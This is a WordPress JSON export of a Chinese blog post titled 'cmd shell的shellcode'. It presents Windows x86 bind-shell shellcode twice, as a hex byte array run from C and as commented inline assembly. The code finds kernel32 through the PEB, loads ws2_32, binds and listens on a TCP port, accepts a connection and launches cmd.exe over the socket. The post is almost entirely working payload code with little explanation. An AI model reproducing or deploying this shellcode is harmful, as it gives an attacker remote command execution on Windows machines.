{"id":98,"date":"2014-05-25T14:48:59","date_gmt":"2014-05-25T14:48:59","guid":{"rendered":""},"modified":"2014-05-25T14:48:59","modified_gmt":"2014-05-25T14:48:59","slug":"","status":"publish","type":"post","link":"http:\/\/weizn.net\/?p=98","title":{"rendered":"cmd shell\u7684shellcode"},"content":{"rendered":"

\n\t#include <windows.h>
\n#include <stdio.h>
\n#include <stdlib.h><\/p>\n

char shell_code[]={
\n         0xEB,0x64,0x64,0xA1,0x30,0x00,0x00,0x00,0x8B,0x40,0x0C,0x8B,0x40,0x14,0x8B,0x00,
\n        0x8B,0x70,0x28,0x80,0x7E,0x0C,0x33,0x75,0xF5,0x8B,0x68,0x10,0x8B,0x45,0x3C,0x8B,
\n        0x4C,0x05,0x78,0x03,0xCD,0x8B,0x59,0x20,0x03,0xDD,0x33,0xFF,0x60,0x61,0x8B,0x34,
\n        0xBB,0x03,0xF5,0x47,0x8B,0xD4,0x83,0xC2,0x04,0x60,0x8B,0xC2,0x8B,0xDE,0x33,0xD2,
\n        0x8A,0x0B,0x8A,0x28,0x3A,0xCD,0x75,0xE5,0x43,0x40,0x3A,0xCA,0x74,0x02,0xEB,0xEE,
\n        0x61,0x8B,0x59,0x24,0x03,0xDD,0x66,0x8B,0x3C,0x7B,0x66,0x4F,0x8B,0x59,0x1C,0x03,
\n        0xDD,0x03,0x2C,0xBB,0x95,0xC3,0x6A,0x00,0x68,0x61,0x72,0x79,0x41,0x68,0x4C,0x69,
\n        0x62,0x72,0x68,0x4C,0x6F,0x61,0x64,0xE8,0x86,0xFF,0xFF,0xFF,0x83,0xC4,0x10,0x50,
\n        0x68,0x73,0x73,0x00,0x00,0x68,0x64,0x64,0x72,0x65,0x68,0x72,0x6F,0x63,0x41,0x68,
\n        0x47,0x65,0x74,0x50,0xE8,0x69,0xFF,0xFF,0xFF,0x83,0xC4,0x10,0x50,0x8B,0x44,0x24,
\n        0x04,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5F,0x54,0xFF,0xD0,0x83,0xC4,
\n        0x08,0x50,0x8B,0x14,0x24,0x8B,0x5C,0x24,0x04,0x68,0x75,0x70,0x00,0x00,0x68,0x74,
\n        0x61,0x72,0x74,0x68,0x57,0x53,0x41,0x53,0x54,0x52,0xFF,0xD3,0x83,0xC4,0x0C,0x33,
\n        0xF6,0xB9,0x64,0x00,0x00,0x00,0x56,0xE2,0xFD,0x54,0x6A,0x02,0xFF,0xD0,0x3B,0xC6,
\n        0x0F,0x85,0x62,0x01,0x00,0x00,0x8B,0x94,0x24,0x90,0x01,0x00,0x00,0x8B,0x9C,0x24,
\n        0x94,0x01,0x00,0x00,0x68,0x74,0x41,0x00,0x00,0x68,0x6F,0x63,0x6B,0x65,0x68,0x57,
\n        0x53,0x41,0x53,0x54,0x52,0xFF,0xD3,0x83,0xC4,0x0C,0x6A,0x00,0x6A,0x00,0x6A,0x00,
\n        0x6A,0x00,0x6A,0x01,0x6A,0x02,0xFF,0xD0,0x50,0x8B,0x94,0x24,0x94,0x01,0x00,0x00,
\n        0x8B,0x9C,0x24,0x98,0x01,0x00,0x00,0x6A,0x00,0x68,0x62,0x69,0x6E,0x64,0x54,0x52,
\n        0xFF,0xD3,0x83,0xC4,0x08,0x33,0xDB,0xB9,0x04,0x00,0x00,0x00,0x53,0xE2,0xFD,0xC6,
\n        0x04,0x24,0x02,0xC6,0x44,0x24,0x02,0x1D,0xC6,0x44,0x24,0x03,0x0D,0x8B,0xD4,0x6A,
\n        0x10,0x52,0x8B,0x54,0x24,0x18,0x52,0xFF,0xD0,0x33,0xD2,0x3B,0xC2,0x0F,0x85,0xE5,
\n        0x00,0x00,0x00,0x54,0x8B,0x94,0x24,0xA8,0x01,0x00,0x00,0x8B,0x9C,0x24,0xAC,0x01,
\n        0x00,0x00,0x68,0x65,0x6E,0x00,0x00,0x68,0x6C,0x69,0x73,0x74,0x54,0x52,0xFF,0xD3,
\n        0x83,0xC4,0x08,0x8B,0x54,0x24,0x14,0x6A,0x0A,0x52,0xFF,0xD0,0x33,0xD2,0x3B,0xD0,
\n        0x0F,0x85,0xB2,0x00,0x00,0x00,0x8B,0x94,0x24,0xA8,0x01,0x00,0x00,0x8B,0x9C,0x24,
\n        0xAC,0x01,0x00,0x00,0x6A,0x74,0x68,0x63,0x63,0x65,0x70,0x68,0x57,0x53,0x41,0x41,
\n        0x54,0x52,0xFF,0xD3,0x83,0xC4,0x0C,0x8B,0x54,0x24,0x14,0x8B,0x34,0x24,0x6A,0x10,
\n        0x8B,0xCC,0x6A,0x00,0x6A,0x00,0x51,0x56,0x52,0xFF,0xD0,0x50,0x8B,0x94,0x24,0xB0,
\n        0x01,0x00,0x00,0x8B,0x9C,0x24,0xB4,0x01,0x00,0x00,0x68,0x73,0x41,0x00,0x00,0x68,
\n        0x6F,0x63,0x65,0x73,0x68,0x74,0x65,0x50,0x72,0x68,0x43,0x72,0x65,0x61,0xE8,0x0F,
\n        0xFE,0xFF,0xFF,0x83,0xC4,0x10,0x33,0xD2,0xB9,0x11,0x00,0x00,0x00,0x52,0xE2,0xFD,
\n        0xC6,0x04,0x24,0x44,0xC6,0x44,0x24,0x2C,0x01,0xC6,0x44,0x24,0x2D,0x01,0x8B,0x54,
\n        0x24,0x44,0x89,0x54,0x24,0x38,0x89,0x54,0x24,0x3C,0x89,0x54,0x24,0x40,0x8B,0xF4,
\n        0xB9,0x04,0x00,0x00,0x00,0x33,0xD2,0x52,0xE2,0xFD,0x8B,0xCC,0x68,0x65,0x78,0x65,
\n        0x00,0x68,0x63,0x6D,0x64,0x2E,0x8B,0xFC,0x51,0x56,0x52,0x52,0x52,0x6A,0x01,0x52,
\n        0x52,0x57,0x52,0xFF,0xD0,0x41,0xE2,0xFD,0x68,0x65,0x73,0x73,0x00,0x68,0x50,0x72,
\n        0x6F,0x63,0x68,0x45,0x78,0x69,0x74,0xE8,0xA6,0xFD,0xFF,0xFF,0x6A,0x00,0xFF,0xD0
\n};<\/p>\n

void shellcode()
\n{
\n    __asm
\n    {
\n        lea eax,shell_code
\n        call eax
\n    }
\n}<\/p>\n

int main()
\n{
\n    shellcode();
\n    return 0;
\n}<\/p>\n

\n\t\/*——————————————-\u6c47\u7f16\u7248\u672c——————————————*\/\n<\/p>\n

\n\t#include <windows.h>\n<\/p>\n

#include <stdio.h>
\n#include <stdlib.h><\/p>\n

void shellcode()
\n{
\n    __asm
\n    {
\n            nop
\n            nop
\n            nop
\n            nop
\n            nop
\n            nop
\n            jmp start
\nfind_function:
\n             \/\/\u5bfb\u627ekernel32.dll\u7684\u57fa\u5740
\n             mov eax,fs:[30h]
\n            mov eax,[eax+0ch]
\n            mov eax,[eax+14h]
\nmodule_loop:
\n            mov eax,[eax]
\n            mov esi,[eax+28h]
\n            cmp byte ptr [esi+0ch],’3′   \/\/\u641c\u7d22kernel32.dll
\n            jne module_loop
\n            
\n            mov ebp,[eax+010h]    \/\/ebx\u4e3akernel32.dll\u7684\u57fa\u5740
\n            
\n            mov eax,[ebp+03ch]
\n            mov ecx,[ebp+eax+78h]  \/\/\u8bfb\u53d6PE\u7ed3\u6784\u4e2d\u7684\u5bfc\u51fa\u8868\u5730\u5740
\n            add ecx,ebp     \/\/ecx\u5b9a\u4f4d\u5230\u5bfc\u51fa\u8868
\n            
\n            mov ebx,[ecx+20h]
\n            add ebx,ebp     \/\/ebx\u5b9a\u4f4d\u5230\u5bfc\u51fa\u540d\u79f0\u6307\u9488\u8868
\n            
\n            xor edi,edi
\n            pushad
\nname_loop:
\n            popad
\n            mov esi,[ebx+edi*4]   \/\/\u8bfb\u53d6\u4e00\u4e2a\u6307\u5411\u51fd\u6570\u540d\u7684\u6307\u9488
\n            add esi,ebp       \/\/\u5b9a\u4f4d\u5230\u51fd\u6570\u540d\u5b57\u7b26\u4e32
\n            inc edi
\n            mov edx,esp     \/\/\u83b7\u53d6\u6808\u5185\u8981\u83b7\u53d6\u7684\u51fd\u6570\u540d\u8d77\u59cb\u5730\u5740
\n            add edx,4
\n            pushad      \/\/\u5bc4\u5b58\u5668\u5165\u6808
\n            mov eax,edx
\n            mov ebx,esi
\nname_cmp_loop:
\n             xor edx,edx
\n            mov cl,byte ptr [ebx]
\n            mov ch,byte ptr [eax]
\n            cmp cl,ch
\n            jne name_loop
\n            inc ebx
\n            inc eax
\n            cmp cl,dl
\n            jz break_name_loop
\n            jmp name_cmp_loop
\nbreak_name_loop:
\n             popad
\n            \/\/\u627e\u5230\u51fd\u6570\u540d
\n            mov ebx,[ecx+24h]   \/\/\u5b9a\u4f4d\u5230\u5bfc\u51fa\u5e8f\u6570\u8868RVA
\n            add ebx,ebp
\n            
\n            mov di,[ebx+2*edi]
\n            dec di
\n            mov ebx,[ecx+1ch]   \/\/\u5b9a\u4f4d\u5230\u5bfc\u51fa\u5730\u5740\u8868RVA
\n            add ebx,ebp
\n            add ebp,[ebx+4*edi]    \/\/\u8bfb\u53d6\u51fd\u6570\u5730\u5740
\n            xchg eax,ebp
\n            
\n            ret
\nstart:
\n            \/\/LoadLibraryA
\n            push 0x00
\n            push 0x41797261
\n            push 0x7262694C
\n            push 0x64616F4C
\n            call find_function
\n            add esp,16
\n            push eax     \/\/LoadLibraryA\u51fd\u6570\u5730\u5740\u5165\u6808<\/p>\n

            \/\/GetProcAddress
\n            push 0x00007373
\n            push 0x65726464
\n            push 0x41636F72
\n            push 0x50746547
\n            call find_function
\n            add esp,16
\n            push eax         \/\/GetProcAddress\u5730\u5740\u5165\u6808
\n            
\n            mov eax,dword ptr [esp+4]                \/\/eax\u5b58\u653eLoadLibraryA\u7684\u5730\u5740<\/p>\n

            \/\/\u52a0\u8f7dws2_32
\n            push 0x3233
\n            push 0x5F327377
\n            push esp<\/p>\n

            call eax        \/\/eax=LoadLibraryA(esp);
\n            add esp,8
\n            push eax        \/\/ws2_32.dll\u53e5\u67c4\u5165\u6808<\/p>\n

\n            \/\/\u83b7\u53d6WSAStartup\u51fd\u6570\u5730\u5740
\n            mov edx,dword ptr [esp]        \/\/\u83b7\u53d6ws2_32\u53e5\u67c4
\n            mov ebx,dword ptr [esp+4]      \/\/\u83b7\u53d6GetProcAddress\u5730\u5740
\n            push 0x7075
\n            push 0x74726174
\n            push 0x53415357
\n            push esp
\n            push edx
\n            call ebx    \/\/eax\u4e2d\u5b58\u653eWSAStartup\u5730\u5740
\n            add esp,12<\/p>\n

            \/\/\u8c03\u7528WSAStartup
\n            xor esi,esi
\n            mov ecx,100
\nwsa_loop:
\n            push esi
\n            loop wsa_loop
\n            push esp
\n            push 0x02
\n            call eax
\n            \/\/\u5224\u65ad\u51fd\u6570\u662f\u5426\u8c03\u7528\u6210\u529f
\n            cmp eax,esi
\n            jne exit_process<\/p>\n

            \/\/\u83b7\u53d6WSASocket\u51fd\u6570\u5730\u5740
\n            mov edx,dword ptr [esp+400]    \/\/\u83b7\u53d6ws2_32.dll\u53e5\u67c4
\n            mov ebx,dword ptr [esp+4+400]  \/\/\u83b7\u53d6GetProcAddress\u5730\u5740
\n            push 0x4174
\n            push 0x656B636F
\n            push 0x53415357
\n            push esp
\n            push edx
\n            call ebx
\n            add esp,12<\/p>\n

            \/\/\u8c03\u7528WSASocket
\n            push 0x00
\n            push 0x00
\n            push 0x00
\n            push 0x00
\n            push 1
\n            push 2
\n            call eax
\n            push eax             \/\/socket\u5165\u6808<\/p>\n

            \/\/\u67e5\u627ebind
\n            mov edx,dword ptr [esp+400+4]    \/\/\u83b7\u53d6ws2_32.dll\u53e5\u67c4
\n            mov ebx,dword ptr [esp+4+400+4]  \/\/\u83b7\u53d6GetProcAddress\u5730\u5740
\n            push 0x00
\n            push 0x646E6962
\n            push esp
\n            push edx
\n            call ebx
\n            add esp,8<\/p>\n

            \/\/\u8c03\u7528bind
\n            xor ebx,ebx
\n            mov ecx,4
\naddr_loop:                     \/\/sockaddr\u7ed3\u6784\u4f53\u5165\u6808
\n            push ebx
\n            loop addr_loop<\/p>\n

            mov byte ptr [esp],2h
\n            mov byte ptr [esp+2],1dh
\n            mov byte ptr [esp+3],0x0d
\n            mov edx,esp<\/p>\n

            push 16
\n            push edx
\n            mov edx,dword ptr [esp+24]
\n            push edx
\n            call eax       \/\/\u8c03\u7528bind()
\n            xor edx,edx
\n            cmp eax,edx
\n            jne exit_process
\n            push esp         \/\/sockaddr\u5730\u5740\u5165\u6808<\/p>\n

            \/\/\u67e5\u627elisten
\n            mov edx,dword ptr [esp+400+4+20]    \/\/\u83b7\u53d6ws2_32.dll\u53e5\u67c4
\n            mov ebx,dword ptr [esp+4+400+4+20]  \/\/\u83b7\u53d6GetProcAddress\u5730\u5740
\n            push 0x6E65
\n            push 0x7473696C
\n            push esp
\n            push edx
\n            call ebx
\n            add esp,8<\/p>\n

            \/\/\u8c03\u7528listen
\n            mov edx,dword ptr [esp+4+16]   \/\/\u8bfb\u53d6socket
\n            push 10
\n            push edx
\n            call eax
\n            xor edx,edx
\n            cmp edx,eax
\n            jne exit_process<\/p>\n

            \/\/\u67e5\u627eWSAAccept
\n            mov edx,dword ptr [esp+400+4+20]    \/\/\u83b7\u53d6ws2_32.dll\u53e5\u67c4
\n            mov ebx,dword ptr [esp+4+400+4+20]  \/\/\u83b7\u53d6GetProcAddress\u5730\u5740
\n            push 0x74
\n            push 0x70656363
\n            push 0x41415357
\n            push esp
\n            push edx
\n            call ebx
\n            add esp,12<\/p>\n

            \/\/\u8c03\u7528WSAAccept
\n            mov edx,dword ptr [esp+4+16]   \/\/\u8bfb\u53d6socket
\n            mov esi,dword ptr [esp]        \/\/\u8bfb\u53d6sockaddr\u5730\u5740
\n            push 0x10
\n            mov ecx,esp
\n            push 0x00
\n            push 0x00
\n            push ecx
\n            push esi
\n            push edx
\n            call eax<\/p>\n

            push eax      \/\/\u5b8c\u6210TCP\u8fde\u63a5\u7684\u5957\u63a5\u5b57\u5165\u6808<\/p>\n

            \/\/\u67e5\u627eCreateProcess
\n            mov edx,dword ptr [esp+400+4+20+4+4]    \/\/\u83b7\u53d6ws2_32.dll\u53e5\u67c4
\n            mov ebx,dword ptr [esp+4+400+4+20+4+4]  \/\/\u83b7\u53d6GetProcAddress\u5730\u5740
\n            push 0x4173
\n            push 0x7365636F
\n            push 0x72506574
\n            push 0x61657243
\n            call find_function
\n            add esp,16<\/p>\n

            \/\/\u8c03\u7528CreateProcess
\n            xor edx,edx
\n            mov ecx,17
\nstartupinfo_loop:         \/\/68\u5b57\u8282
\n            push edx
\n            loop startupinfo_loop<\/p>\n

            mov byte ptr [esp],44h
\n            mov byte ptr [esp+44],1
\n            mov byte ptr [esp+45],1
\n            mov edx,dword ptr [esp+68]
\n            mov dword ptr [esp+56],edx
\n            mov dword ptr [esp+60],edx
\n            mov dword ptr [esp+64],edx<\/p>\n

            mov esi,esp    \/\/esi\u6682\u65f6\u5b58\u653esi\u7684\u5730\u5740<\/p>\n

            mov ecx,4
\n            xor edx,edx
\nPROCESS_INFORMATION_loop:       \/\/16\u5b57\u8282
\n            push edx
\n            loop PROCESS_INFORMATION_loop
\n            mov ecx,esp     \/\/ecx\u4e34\u65f6\u5b58\u653epi\u7ed3\u6784\u5730\u5740<\/p>\n

            push 0x657865
\n            push 0x2E646D63<\/p>\n

            mov edi,esp     \/\/edi\u6682\u65f6\u5b58\u653ecmd\u5730\u5740<\/p>\n

            push ecx
\n            push esi
\n            push edx
\n            push edx
\n            push edx
\n            push 1
\n            push edx
\n            push edx
\n            push edi
\n            push edx
\n            call eax<\/p>\n

stop:
\n            inc ecx
\n            loop stop<\/p>\n

\n            \/\/ExitProcess
\nexit_process:
\n            push 0x00737365
\n            push 0x636F7250
\n            push 0x74697845
\n            call find_function<\/p>\n

            push 0
\n            call eax
\n            nop
\n            nop
\n            nop
\n            nop
\n            nop
\n    }
\n}<\/p>\n

int main()
\n{
\n    shellcode();
\n    return 0;
\n}<\/p>\n","protected":false},"excerpt":{"rendered":"

#include <windows.h>
\n#include <stdio.h>
\n#include <stdlib.h><\/p>\n

void shellcode()
\n{
\n    __asm
\n    {
\n        &n…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[329],"tags":[],"class_list":["post-98","post","type-post","status-publish","format-standard","hentry"],"yoast_head":"\ncmd shell\u7684shellcode - Wayne's Blog<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"http:\/\/weizn.net\/?p=98\" \/>\n<meta property=\"og:locale\" content=\"zh_CN\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"cmd shell\u7684shellcode - Wayne's Blog\" \/>\n<meta property=\"og:description\" content=\"#include <windows.h> #include <stdio.h> #include <stdlib.h> void shellcode() {     __asm     {         &n...\" \/>\n<meta property=\"og:url\" content=\"http:\/\/weizn.net\/?p=98\" \/>\n<meta property=\"og:site_name\" content=\"Wayne's Blog\" \/>\n<meta property=\"article:published_time\" content=\"2014-05-25T14:48:59+00:00\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"\u4f5c\u8005\" \/>\n\t<meta name=\"twitter:data1\" content=\"zinan\" \/>\n\t<meta name=\"twitter:label2\" content=\"\u9884\u8ba1\u9605\u8bfb\u65f6\u95f4\" \/>\n\t<meta name=\"twitter:data2\" content=\"21 \u5206\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebSite\",\"@id\":\"http:\/\/weizn.net\/#website\",\"url\":\"http:\/\/weizn.net\/\",\"name\":\"Wayne's Blog\",\"description\":\"\",\"publisher\":{\"@id\":\"http:\/\/weizn.net\/#\/schema\/person\/e88bc12c590502d8b6249326f960b264\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"http:\/\/weizn.net\/?s={search_term_string}\"},\"query-input\":\"required name=search_term_string\"}],\"inLanguage\":\"zh-Hans\"},{\"@type\":\"WebPage\",\"@id\":\"http:\/\/weizn.net\/?p=98#webpage\",\"url\":\"http:\/\/weizn.net\/?p=98\",\"name\":\"cmd shell\\u7684shellcode - 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